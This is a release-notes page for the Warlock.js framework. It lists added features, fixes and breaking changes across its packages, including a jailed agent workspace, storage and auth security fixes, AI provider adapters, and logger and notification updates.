ws.tools.*, each aToolContractbuilt on the coretool()factory:read_file,edit_file,write_file,run_shell,run_tests,grep,glob. Each factory takes an optional{ name }(andrun_testsa{ command }) override. - Added
tools.all()— every tool in canonical order — andtools.pick(...names)— a least-privilege subset (e.g.pick("readFile", "grep", "glob")for a reviewer). - AddedDirect programmatic methods sharing the same policy seam:
readFile/writeFile/editFile/exec/grep/glob/exists/mkdir/remove. - Added
readonly()— a projection that vends only the read/grep/glob tools and rejects every mutating direct method with aWorkspacePolicyError. - Added
scope(subdir)— a sub-jailed workspace rooted atsubdir(narrowedcwd, same sub-policies and backend selection). - AddedRead-before-edit guard —
read_file/readFilereturn a SHA-256 contenthash(via@warlock.js/fshashString);edit_filerequires an exact, uniqueoldString(orreplaceAll) and rejects a mismatchedexpectHashas stale. - AddedBackends —
createLocalBackend(default"local";@warlock.js/fsfor IO +node:child_processfor the shell) andcreateMockBackend(in-memoryMap+ scriptedexec, for hermetic disk-free tests), behind theWorkspaceBackendcontract. - AddedPolicy engine seam exports:
resolveInJail,isCommandAllowed,buildEnv, and theResolvedPathtype. - AddedOps layer export
createOps— the single policy-enforced operation layer both the tools and the direct methods funnel through. - AddedTyped errors
WorkspacePolicyError(type: "path-escape" | "denied-command") andWorkspaceEditError(type: "not-found" | "not-unique" | "stale-hash"), both extending the@warlock.js/aiAIErrorbase (codeTOOL_EXEC_FAILED) so failures surface to the agent as tool-error data, never thrown run-killers. - AddedPublic type surface re-exported from the barrel:
Workspace,WorkspaceTools,WorkspacePolicy,WorkspaceShellPolicy,WorkspaceReadPolicy,WorkspaceBackendType,WorkspaceToolName,WorkspaceOps,WorkspaceBackend(+WorkspaceBackendExecOptions/WorkspaceBackendExecResult), and the per-tool IO shapes (ReadFileInput/Result,EditFileInput/Result,WriteFileInput/Result,RunShellInput/Result,RunTestsInput,GrepInput/Match/Result,GlobInput/Result). - Added
scripts/generate-llms.mjsand the generatedllms.txt/llms-full.txtprojections ofskills/. - Added
skills/use-a-workspace/SKILL.md— building a jailed workspace and operating it (policy, the seven tools, the direct methods,readonly/scope). - Added
skills/build-loop-agent/SKILL.md— wiringws.tools.all()into a coding agent that reads → edits → runs tests until green.
- Changeddev-server update notice now fires immediately on
warlock dev— the check is spawned in parallel with server startup instead of awaiting it, so the notice surfaces as soon as npm responds - Changedraised the update check's npm registry timeout from 2.5s to 30s, so a slow connection no longer drops the notice
- Changedrepository lifecycle hooks (
onCreating/onCreate/onUpdating/onSaving/onDeleting/ …) now run oncreate/update/delete— they were defined but never invoked - Changed
repository.list()/all()now honor thesortBy,sortDirection, andpurgeCacheoptions — previously accepted but silently ignored - Fixed
response.sendFile({ filename })andresponse.download()no longer 500 on non-ASCII file names — theContent-Dispositionheader is now RFC 6266-encoded (a sanitized ASCIIfilenamefallback plus an RFC 5987filename*=UTF-8''…), so an Arabic / emoji / UTF-8 download name streams correctly instead of throwing Node'sERR_INVALID_CHAR - Fixedlocal storage paths are contained to their disk root —
../traversal segments and absolute paths can no longer escape the configured directory - Fixed
storage.putFromUrladds SSRF guards — private / loopback / link-local hosts are rejected and the fetched body is size-capped - FixedS3 / R2 / DigitalOcean Spaces
url()no longer produces a malformed double-host URL whenurlPrefixis set - Fixedcloud
deleteDirectorypaginates via the list continuation cursor instead of re-listing the first page - Fixedlocal-storage metadata cache is invalidated on write / delete — it was serving a stale size / modified-time
- Fixedthe cloud driver no longer reports a misleading "SDK not installed" error when the AWS SDK is in fact present (driver load race)
- Fixedrepository
countCached/countActiveCachednow cache and return correctly — anullcache miss was being returned as the count - Fixedrepository
firstCached/lastCachedno longer fetch and cache the entire table to return a single row - Fixedrepository boolean filters no longer coerce
false/0totrue - Fixedrepository cache keys are now order-independent (stable key serialization)
- Fixedrouter groups restore prefix / name / middleware state via
try/finallyeven when the group callback throws - Fixed
router.any()/allroutes now match every HTTP verb under the dev server — they previously matched only GET and POST, diverging from production - Fixedthe HTTP concurrency limiter releases its slot on every response path (
noContent, redirect, file, buffer) — a throwing or non-sendhandler no longer leaks a permit and permanently 429s the route - Fixedthe cached-response middleware replays a hit through
response.replay()instead of re-sending an already-sent reply, preserving status and content-type - Fixed
onSentcache writes in the idempotency and cache middleware are error-handled — a cache-backend failure no longer surfaces as an unhandled rejection - Fixed
X-Forwarded-Foris parsed to its first hop, so IP-filter / rate-limit / idempotency scoping cannot be spoofed with extra header hops - Fixedthe
maintenancemiddleware allowlist matches request paths that carry a query string - Fixeduse-cases run their
aftermiddleware and broadcast for avoidhandler, and a failed history write no longer fails an otherwise-successful call - Fixedthe use-case retry counter reports the correct count on total failure
- Fixedthe socket connector no longer double-closes the shared HTTP server during graceful shutdown
- Fixedthe cache connector disconnects its drivers on shutdown — an open Redis connection was left dangling
- Fixedgenerator stubs import
v/Inferfrom@warlock.js/seal(core never re-exported them), so generated models compile and run - Fixed
warlock devhot-reloads when a file is emptied or saved with no trailing newline — a stale no-op-change check was silently dropping those saves before they reached HMR - Removedpresigned-upload
maxSizeoption — a presigned PUT URL cannot enforce a size cap, so the option was a false guarantee
- FixedAll upstream
ClientOptionsnow reach the Anthropic client. The SDK constructor peels off the framework-onlyprovider/pricingkeys and forwards the rest (timeout,maxRetries,defaultHeaders, customfetch,baseURL, …) verbatim, instead of dropping everything butapiKey/baseURL.
- FixedAll upstream
ClientOptionsnow reach the OpenAI client. The SDK constructor peels off the framework-onlyprovider/pricingkeys and forwards the rest (timeout,maxRetries,defaultHeaders, customfetch,organization,project, …) verbatim, instead of dropping everything butapiKey/baseURL.
4.4.0June 21, 2026
@warlock.js/core completes the production lifecycle — a booted hook, a shutdown hook, graceful HTTP draining, and built-in /health + /ready endpoints for zero-downtime deploys. Plus AI fixes across @warlock.js/ai, @warlock.js/ai-openai, and @warlock.js/ai-panoptic (opt-in content capture, corrected Langfuse token accounting).
Full release notes or run npx warlock release-notes.
- Added
Application.onceBooted(cb)— run a callback once the app is fully booted (fires immediately if already booted) - Added
Application.whenBooted()— promise that resolves with the boot context when the app is fully booted - Added
Application.isBooted— whether the app has finished booting - Added
Application.onShutdown(cb)— run teardown once on shutdown, before connectors stop (mirror ofonceBooted) - Added
Application.isShuttingDown— whether shutdown has begun - Addedbuilt-in
/health(liveness) and/ready(readiness) endpoints with ahealthcheck registry (health.addCheck) - Addedgraceful HTTP shutdown — drains in-flight requests on shutdown, bounded by
http.gracefulShutdown.timeout - Added
http.health.*config to toggle or rename the health endpoints - Fixedconnector shutdown no longer reverses the connector list in place (could corrupt order on a repeated shutdown)
- FixedPlanner: OpenAI strict structured-output
400. The generated plan schema now lists every property inrequiredand dropsminItems/maxItems, soai.planner()no longer fails against OpenAI strictjson_schemamode. - FixedReport / result types no longer collapse to
neverunder strict TypeScript. The narrowing report / result types now override the discriminant viaOmit<…>instead of intersection. Type-only — no runtime change.
- AddedOpt-in content capture.
panoptic({ captureContent, redactContent })copies the agent prompt / response and each tool's args / result onto spans, surfaced by the console (io), file, OTel (gen_ai.prompt/gen_ai.completion), and Langfuse exporters. Off by default; aContentRedactormasks each value. - FixedLangfuse token accounting — generations now meter their own usage (rolled-up minus children) and the root execution is metered, so the trace total no longer double-counts nested spans.
- FixedStrict structured-output compatibility check is now recursive. A schema that omits a
requiredproperty anywhere in the tree degrades to loosejson_objectinstead of400-ing; client-side validation still enforces the full shape.
- ChangedDocumented
model.uuid— the accessor returns the model's primary id asstring(wheremodel.idisstring | number); the name is historical and performs no UUID validation.
4.3.0June 21, 2026
Self-update tooling — @warlock.js/core gains the warlock update command and a new-release notice in warlock dev. @warlock.js/ai caps the primitive ladder with ai.orchestrator(), ai.planner(), and ai.memory(), plus a cost-truth pass across every provider. The new @warlock.js/ai-panoptic package adds observability. ⚠ Breaking: snapshot persistence moves from a CacheDriver to the dedicated SnapshotStore.
Full release notes or run npx warlock release-notes.
- Added
warlock update— update every@warlock.js/*package in package.json to its latest version (operator preserved), then run the detected package manager's install - Addeddev-server update notice —
warlock devchecks npm on start and prints a one-line notice when a newer@warlock.js/coreis published - Added
devServer.checkForUpdatesconfig flag (defaulttrue) to toggle the dev-server update notice - Added
fetchLatestVersion()andisNewerVersion()registry/version utilities - Fixed
warlock dev --skip-typingsand--skip-healthlong-form flags now work (were silently ignored)
- ⚠ BREAKINGSupervisor + workflow snapshot persistence moved from
CacheDriverto the dedicatedSnapshotStorecontract. The per-primitive fallback is nowai.config({ defaultSnapshotStore }). Migration: replacesnapshotStore: cache.driver("redis", { client })withsnapshotStore: ai.snapshot.redis({ client })(andai.snapshot.{memory,pg}for the other tiers). - Added
ai.orchestrator()— stateful session manager over a supervisor: durable session / history / context, drift detection, history compaction, resume, and a command surface (orchestrator.asTool(), a 3-tier event surface, andOrchestratorContract/ config / error types). - Added
ai.checkpoint.{memory,pg,redis}()andai.snapshot.{memory,pg,redis}()— durable orchestrator-session and supervisor / workflow run stores, with matchingdefaultCheckpointStore/defaultSnapshotStoreconfig fields. - Added
ai.memory()— agent-memory store with four tiers: working (in-run scratch), semantic (durable facts), episodic (durable, recency-blended events), and procedural (durable, reinforcement-blended how-tos). Wired into the orchestrator via amemory?field. - Added
ai.planner()— an LLM generates an ordered plan over your registered capabilities, then executes it step-by-step. - Added
ai.spawnSubAgent()— one-shot delegation to a fresh single-use agent with an optional per-task budget; usable from a planner step, a tool, or a workflow. - AddedCost-truth contract surface across all five adapters —
Usage.reasoningTokens, per-channelModelPricing, andModelCallOptions.{reasoning, cacheControl}(ignored by adapters that lack the capability). - AddedDX helpers —
ai.router(),ai.fanOut(),ai.batch(),ai.fallbackModel(),ai.mockRouter(),agent.eval()+ built-inai.eval.*scorers, Vitest matchers (registerAiMatchers()), supervisor-level middleware, andai.systemPrompt.fromFile(path). - AddedExecutables passed in an agent's
tools: [...]are auto-adapted into tools (workflows / supervisors / orchestrators compose directly via.asTool()).
- Added
panoptic()— the one-call subscriber factory: builds a collector, registers exporters, and feeds traces viaattach(),middleware(), orcollect(). - AddedExporters —
consoleExporter(),fileExporter()(JSON-Lines),otelExporter()(GenAI semantic conventions), andlangfuseExporter().@opentelemetry/*andlangfuseare optional peers, lazily imported. - Added
createInMemoryTraceStore()— a queryable in-memory trace store (query/aggregateby runId, sessionId, status, time window; optionalcapacityFIFO cap) that doubles as an exporter. - AddedVendor-neutral trace contracts (
Trace/TraceSpan/CollectorContract/ExporterContract) derived 1:1 from the coreBaseReporttree, plus skills for observing, exporting, and querying traces. - FixedFailed root runs now carry their error in every export (threaded from the result envelope onto the root span).
- FixedPer-span exporters now receive every span (the collector walks the finalized tree).
- Fixed
panoptic().middleware()now works on a supervisor (the middleware declares asupervisorhook map).
- AddedUsage accounting —
usage.cacheWriteTokensis populated from Anthropic'scache_creation_input_tokens(alongsidecachedTokens);reasoningTokensis left unset because Anthropic bills thinking insideoutput_tokens. - AddedExtended thinking —
ModelCallOptions.reasoningmaps to Anthropic'sthinkingbudget (reasoning.effort→ a tiered budget, floored at 1024);temperatureis dropped when thinking is enabled. - AddedSystem-prompt prompt caching —
cacheControl.breakpoints >= 1emits the system prompt withcache_control: { type: "ephemeral" }. - AddedCapabilities —
reasoning,promptCaching, andpdfare now advertised;audiostays absent.
- AddedCost-truth capabilities —
reasoning,promptCaching,pdf, andaudioare reported truthfully per model family (inferred from the model id, overridable viabedrock.model(...)). - AddedReasoning / extended thinking —
ModelCallOptions.reasoningmaps to Conversethinkingfor reasoning-capable models, and no-ops elsewhere so unsupported params never reach the wire. - AddedPrompt-cache write breakpoints —
cacheControl.breakpointsappends a ConversecachePointblock for caching-capable models. - Added
Usage.cacheWriteTokenspopulated from ConversecacheWriteInputTokens;reasoningTokensis left unset (Bedrock reports no reasoning channel).
- Added
Usage.reasoningTokensis populated from Gemini'sthoughtsTokenCount(alongsidecachedTokens), surfaced only when reported> 0. - Added
ModelCallOptions.reasoningmaps to Gemini'sthinkingConfig(maxTokens→thinkingBudget,effort→ a bucketed budget) for reasoning-capable models. - Added
ModelCapabilitiesnow reportsreasoning,promptCaching,audio, andpdf;cacheControlis accepted as a graceful no-op.
- Added
Usage.reasoningTokensis populated fromcompletion_tokens_details.reasoning_tokens(o-series / gpt-5 hidden reasoning channel), emitted only when> 0. - Added
ModelCallOptions.reasoning.effortmaps to the nativereasoning_effortparam for reasoning-capable models;reasoning.maxTokenshas no Chat Completions equivalent. - Added
ModelCapabilities.reasoningis inferred from the model name (overridable via.model(...));promptCachingis alwaystrue(OpenAI caches automatically), andcacheControlwrite breakpoints are a no-op.
- Added
ModelCapabilities.reasoningis inferred from thinking-capable model tags (overridable viaollama.model({ name, reasoning }));promptCaching/audio/pdfreportfalse. - Added
ModelCallOptions.reasoningmaps onto Ollama's nativethinkflag for reasoning-capable models;reasoning.maxTokensandcacheControlare graceful no-ops.
4.2.11June 17, 2026
Soft deletes go end-to-end in @warlock.js/cascade. @warlock.js/core adds warlock add notifications, and @warlock.js/notifications gains model-driven column mapping, read-state, and multi-tenant support.
Full release notes or run npx warlock release-notes.
- Added
Migration.createauto-wires thedeletedAtcolumn when the model's delete strategy is"soft"(opt out with{ softDeletes: false }) - ChangedRequire
@mongez/reinforcements≥ 3.3.0 — the update validator now uses its newwhenhelper for conditional schema fields - FixedSoft
destroy()now setsdeletedAton the in-memory model — the instance was left stale before - FixedUpdate validation no longer strips or rejects the
deletedAtcolumn under strict mode (now whitelisted like the timestamps)
- Added
lowerStage3Decorators()— Vite/Vitest plugin that lowers TC39 Stage-3 decorators with esbuild before oxc / the SSR rewrite mangles them; drop it first inpluginsso model-decorated files load under Vitest 4 / Vite 8. - Added
warlock add notifications— installs@warlock.js/notifications(+ themailfeature), ejectsconfig/notifications.ts, and scaffolds the app-ownedNotificationmodel + migration (idempotent). - AddedNotifications connector — a built-in, config-gated connector that lazy-imports
@warlock.js/notifications, so core keeps no hard dependency on it. - Changed
warlock add testnow scaffolds avite.config.tsthat includeslowerStage3Decorators(), so a fresh project can test decorated models out of the box. - Changed
warlock add testtest/test:coveragescripts now run one-shot (vitest run) instead of watch mode — CI-safe by default. - ChangedBumped
@mongez/reinforcementsto 3.3.0 - Fixed
startHttpTestServernow starts early-phase connectors (database, cache, logger, …) before app modules, then late-phase (http, socket) after — mirroring dev/prod boot order; fixes aMissingDataSourceErrorunder the Vitest integration harness.
- ChangedIn-app column mapping moved onto the model as
static columnMap(recipient/tenant/readAt/isRead); accessors, repository, and channels all derive from it. NewNotificationColumnMaptype. - ChangedRead-state is presence-based — declaring
readAt,isRead, or both selects the representation (defaultread_at); the mode-agnosticunreadfilter replacesisRead. - ChangedMulti-tenant support — when the model declares a
tenantcolumn, thedatabasechannel reads it off the recipient andcreateFor(...)writes it. - Changed
inApp.list/inApp.listUnreadnow forward full list options (page/limit/orderBy+ filters). - Changed
notificationColumns(model)derives its columns fromcolumnMap; the SQL-vs-MongoDBdataSourcebranch is removed.
- ChangedBumped
@mongez/reinforcementsto 3.3.0
- ChangedBumped
@mongez/reinforcementsto 3.3.0
- ChangedBumped
@mongez/reinforcementsto 3.3.0
- ChangedBumped
@mongez/reinforcementsto 3.3.0
- ChangedBumped
@mongez/reinforcementsto 3.3.0
- ChangedBumped
@mongez/reinforcementsto 3.3.0 (package dependency + project template)
4.2.10June 17, 2026
Patch: @warlock.js/auth moves its internal @mongez/* utilities from peer to regular dependencies, clearing the install warnings. @warlock.js/logger softens its console timestamp to gray.
Full release notes or run npx warlock release-notes.
- Fixed
@mongez/copper,@mongez/events, and@mongez/reinforcementsare now regulardependenciesinstead ofpeerDependencies— they're framework-internal utilities your app never imports, so declaring them as peers producedunmet peer dependencywarnings on install.
- Changed
ConsoleLog's timestamp (and the↳context arrow) switch from bright-blackgrayto the 256-colorslate— recessive but cleanly legible where bright-black read muddy.
- ChangedThe project template now pins the latest
@mongez/*versions (@mongez/reinforcements@^3.2.0,@mongez/agent-kit@^1.2.0) so freshly scaffolded apps start on current dependencies. (@warlock.js/*versions are still rewritten to the scaffolder's own version at install time.)
4.2.9June 17, 2026
Patch: @warlock.js/logger's console output is retuned for scannability — a dimmed time-only timestamp, aligned level columns, and a restored white-on-red fatal badge.
Full release notes or run npx warlock release-notes.
- Changed
ConsoleLogoutput retuned for scannability — a time-onlyHH:mm:ss.SSStimestamp dimmed to gray, fixed-width level tags so the columns align, andfatalrestored to a white-on-bright-red background badge. (FileLog/JSONFileLogkeep the full ISO timestamp.)
4.2.8June 17, 2026
Patch: @warlock.js/logger now prints each level's name beside its icon (ℹ info, ⚠ warn, ✗ error, …) for at-a-glance reading.
Full release notes or run npx warlock release-notes.
- Changed
ConsoleLognow prints each level's name beside its icon (⚙ debug,ℹ info,⚠ warn,✗ error,✓ success,☠ fatal) for at-a-glance reading.
4.2.7June 17, 2026
Patch: create-warlock now ships its templates/ folder, fixing the "Something went wrong" error when scaffolding a new project.
Full release notes or run npx warlock release-notes.
- FixedThe published package now ships its
templates/folder, so scaffolding a new project works from the installed package — it was missing from the build, which failed the wizard with "Something went wrong" at the template-copy step.
4.2.6June 17, 2026
Patch: create-warlock ships its bin folder again, restoring the CLI that was dropped from 4.2.5.
Full release notes or run npx warlock release-notes.
- FixedThe published package now ships its
binfolder again, so thecreate-warlockCLI works from the installed package — it was omitted from the 4.2.5 build.
4.2.5June 15, 2026
Patch: warlock add notifications now scaffolds the in-app notifications HTTP surface — routes plus a list / mark-read / clear controller, gated by auth.
Full release notes or run npx warlock release-notes.
- Added
warlock add notificationsnow scaffolds the in-app read/dismiss HTTP surface —routes.ts+ anotifications.controller.ts(list / unread-count / mark-read / mark-all-read / clear / delete), gated byauthMiddlewareand recipient-scoped viainApp. Pulls@warlock.js/auth.
4.2.4June 15, 2026
Patch: corrects a worker-loader build path in @warlock.js/core that 4.2.3 left broken.
Full release notes or run npx warlock release-notes.
- FixedFix the worker-loader path in the build entry points — a wrong path in 4.2.3 left the worker entry broken (and blocked the 4.2.3 publish for some packages).
4.2.3June 15, 2026
Patch: ships the worker scripts as @warlock.js/core build entry points. A wrong path here blocked publishing for some packages — fixed in 4.2.4.
Full release notes or run npx warlock release-notes.
- FixedAdd the worker scripts as build entry points so they ship in the published package.
4.2.2June 15, 2026
Patch: ships the warlock CLI entry (cli/start) in @warlock.js/core's build.
Full release notes or run npx warlock release-notes.
- FixedAdd
cli/startto the build entry points so thewarlockCLI entry ships in the published package.
4.2.1June 15, 2026
Patch: @warlock.js/core and @warlock.js/cascade ship their bin folders, restoring the warlock and cascade CLIs dropped from 4.2.0.
Full release notes or run npx warlock release-notes.
- FixedShip the
binfolder so thewarlockCLI works from the published package — it was omitted from the 4.2.0 build.
- FixedShip the
binfolder so thecascadeCLI works from the published package — it was omitted from the 4.2.0 build.
4.2.0June 15, 2026
A security overhaul of @warlock.js/auth — brute-force throttling, atomic refresh-token rotation, and CSPRNG secrets (the jwt config gives way to accessToken / refreshToken). Introduces two packages: @warlock.js/notifications (multi-channel notifications) and @warlock.js/access (RBAC + ABAC authorization).
Full release notes or run npx warlock release-notes.
- NewShipped Warlock.js Notifications Package.
- NewShipped Warlock.js Access Package.
- Added
loginThrottleMiddleware— failure-aware brute-force / credential-stuffing protection: counts only failed logins, locks per-account and per-IP, and rejects pre-controller with429(cache-backed, fails open). AddsAuthErrorCodes.TooManyAttempts(EC004). - Added
accessToken/refreshTokenconfiguration blocks, making a separate refresh-token secret first-class. - AddedOverridable token storage — register a custom model under
config.auth.accessToken.model/refreshToken.modeland.extend()the exported schemas to add columns (e.g. a multi-tenantorganization_id). - Added
tokenType(access|refresh) claim, stamped on issue and verified on read, so an access token can't be presented as a refresh token. - Added
expires_aton access tokens;warlock auth.cleanupnow purges expired access tokens too. - FixedDefault access-token lifetime was ~3.6 seconds (a numeric
expiresInread as milliseconds) and is now 1 hour. - FixedTargeted revocation queried
userIdinstead of theuser_idcolumn, so logout / refresh-token removal threw on Postgres and silently no-oped on MongoDB; token queries now route through named model statics. - FixedToken deletions were fire-and-forget (false success for callers, uncatchable rejections) and are now awaited.
- FixedThe route middleware matched on
userTypeinstead of theuser_typecolumn. - Fixed
revokeAllTokens/revokeTokenFamilyreported an empty set, sotoken.revoked/token.familyRevokednever fired; the revoked rows are now captured before revocation. - FixedA throwing synchronous auth-event listener no longer turns a completed login into a
500. - DeprecatedThe
auth.jwt.*configuration block. UseaccessToken/refreshTokeninstead — the legacy shape is still read and mapped forward with a one-time deprecation warning. - RemovedUnread
access_tokenscolumnsis_activeandlast_access. - RemovedThe unused
auth.password.saltconfiguration key. - Security
warlock jwt.generatenow derivesJWT_SECRET/JWT_REFRESH_SECRETfrom a CSPRNG (Random.token) instead ofMath.random(). - SecurityRefresh-token rotation is atomic — a guarded conditional
UPDATEmeans two concurrent rotations can't both succeed, and a replayed token revokes its entire family.
- Added
log.flush()— awaitable async counterpart toflushSync(), draining every channel viaPromise.allSettledwith per-channel isolation. Implemented byFileLog/JSONFileLog. - Added
SentryLogchannel — forwards entries to Sentry (eventLevelsbecome events, others breadcrumbs;module/actionas tags).@sentry/nodeis an optional, lazily-imported peer. - Added
log.fatal()+fatallevel — ranked strictly aboveerrorfor unrecoverable failures; does not auto-flush or exit. - Added
ConsoleLogrendersfatalwith a☠icon on a bright-red background, distinct fromerror's✗. - Changed
captureAnyUnhandledRejection()now escalatesuncaughtExceptiontolog.fatal(waserror);unhandledRejectionstays aterror. - Changed
LoggingData.typeis now typed asLogLevel(was a duplicated inline union). - Changed
LogContract/LogChannelnow expose an optionalflush?()alongsideflushSync?(). - Fixed
@sentry/nodeis referenced only via local types + an indirect dynamic import, so source-served consumers no longer getTS2307: Cannot find module '@sentry/node'when they don't install the optional peer.
- ChangedMongoDB and PostgreSQL drivers now log a failed initial
connect()atlog.fatal(waslog.error) — a boot-time database connection failure is unrecoverable, sofatalkeeps "page on fatal only" alerting clean. Per-query and disconnect failures stay aterror. - FixedPostgreSQL
increment/decrement(and the*Manyvariants) bound the amount as$1, colliding with the first filter placeholder (SET n = n + $1 WHERE id = $1) so every filtered counter update wrote the wrong number; the amount now binds after the filter params.
- FixedNo-argument tools (declared without an
inputschema) no longer crash on invocation —tool.invokenow skips validation when no schema is present and passes the raw input to the handler.
- AddedOpt-in
promptCachingflag on the model config — marks tool definitions withcache_control: { type: "ephemeral" }so multi-trip agents reuse the static tool schemas at the cache-read rate. Off by default.
- ChangedRedis driver now logs a failed initial
connect()atlog.fatal(waslog.error) — a boot-time cache connection failure is unrecoverable, sofatalkeeps "page on fatal only" alerting clean.
- Changed
herald-connectorandhttp-connectornow log a failed boot-time connection atlog.fatal(waslog.error) — an unrecoverable broker connection or HTTP port-bind failure makes "page on fatal only" alerting clean; the HTTP connector flushes logs beforeprocess.exit(1). Disconnect / shutdown failures stay aterror.
4.1.15June 4, 2026
The first public release of Warlock.js — 17 packages published together at 4.1.15. Every change from here on is recorded per package and aggregated on this page.
Full release notes or run npx warlock release-notes.
No changes recorded for this package yet.